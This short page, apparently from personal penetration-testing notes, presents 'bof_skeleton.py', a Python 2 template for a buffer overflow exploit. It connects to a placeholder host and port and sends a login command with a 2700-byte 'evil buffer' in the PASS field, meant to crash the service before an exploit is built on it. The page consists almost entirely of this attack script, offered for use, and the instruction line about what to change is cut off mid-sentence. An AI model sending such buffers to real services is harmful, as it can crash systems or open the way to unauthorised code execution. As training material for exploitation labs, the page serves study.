Skip to content

BOF_SKELETON.PY #

Basic buffer overflow skeleton to build on once a crash is detected

Make sure to change and

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

rhost="<IP>"
rport=<PORT>
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer = 'A' * 2700



try:
        print "\nSending evil buffer..."
        s.connect((rhost,rport))
        print repr(s.recv(1024))

        s.send('USER test'+'\r\n')
        print repr(s.recv(1024))
        s.send('PASS '+ buffer +'\r\n')

        print "\nDone."
        s.close()
except Exception, e:
        print("Exception: %s" % e)

Last update: January 22, 2021